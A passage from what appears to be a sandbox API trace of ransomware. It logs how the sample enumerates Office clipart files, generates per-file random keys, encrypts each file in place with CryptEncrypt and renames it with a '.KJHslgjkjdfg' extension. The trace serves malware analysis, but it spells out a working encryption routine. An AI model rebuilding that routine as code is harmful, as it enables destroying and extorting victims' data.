dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.290] GetProcessHeap () returned 0x990000 [0182.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.290] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.290] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.294] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.295] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.295] GetProcessHeap () returned 0x990000 [0182.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.295] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.295] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.295] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.295] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.295] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.295] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.295] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.295] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.296] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.296] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d74, lpOverlapped=0x0) returned 1 [0182.297] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d80) returned 1 [0182.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.297] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d80, lpOverlapped=0x0) returned 1 [0182.297] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.297] SetEndOfFile (hFile=0x130) returned 1 [0182.299] GetProcessHeap () returned 0x990000 [0182.299] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.299] GetProcessHeap () returned 0x990000 [0182.299] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.kjhslgjkjdfg")) returned 1 [0182.303] CloseHandle (hObject=0x130) returned 1 [0182.303] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0182.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.305] GetProcessHeap () returned 0x990000 [0182.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.305] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.308] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.308] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.308] GetProcessHeap () returned 0x990000 [0182.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.308] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.308] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.308] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.308] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.309] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.309] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.309] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.309] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.309] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x57f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x57f4, lpOverlapped=0x0) returned 1 [0182.311] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5800, dwBufLen=0x5800 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5800) returned 1 [0182.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.311] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5800, lpOverlapped=0x0) returned 1 [0182.312] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x58d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.312] SetEndOfFile (hFile=0x130) returned 1 [0182.315] GetProcessHeap () returned 0x990000 [0182.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.315] GetProcessHeap () returned 0x990000 [0182.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.kjhslgjkjdfg")) returned 1 [0182.320] CloseHandle (hObject=0x130) returned 1 [0182.320] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0182.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.321] GetProcessHeap () returned 0x990000 [0182.321] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.321] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.321] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.324] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.324] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.324] GetProcessHeap () returned 0x990000 [0182.324] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.324] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.324] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.324] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.324] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.324] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.325] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.325] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.325] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.325] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3f34, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3f34, lpOverlapped=0x0) returned 1 [0182.326] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3f40, dwBufLen=0x3f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3f40) returned 1 [0182.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.327] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3f40, lpOverlapped=0x0) returned 1 [0182.327] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.327] SetEndOfFile (hFile=0x130) returned 1 [0182.330] GetProcessHeap () returned 0x990000 [0182.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.330] GetProcessHeap () returned 0x990000 [0182.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.kjhslgjkjdfg")) returned 1 [0182.336] CloseHandle (hObject=0x130) returned 1 [0182.336] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0182.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.337] GetProcessHeap () returned 0x990000 [0182.337] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.337] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.337] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.345] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.345] GetProcessHeap () returned 0x990000 [0182.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.345] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.345] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.345] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.346] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.346] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.346] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.346] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4354, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4354, lpOverlapped=0x0) returned 1 [0182.350] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4360, dwBufLen=0x4360 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4360) returned 1 [0182.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.351] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4360, lpOverlapped=0x0) returned 1 [0182.351] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.351] SetEndOfFile (hFile=0x130) returned 1 [0182.353] GetProcessHeap () returned 0x990000 [0182.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.353] GetProcessHeap () returned 0x990000 [0182.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.kjhslgjkjdfg")) returned 1 [0182.360] CloseHandle (hObject=0x130) returned 1 [0182.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0182.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.361] GetProcessHeap () returned 0x990000 [0182.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.361] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.361] GetProcessHeap () returned 0x990000 [0182.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.361] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 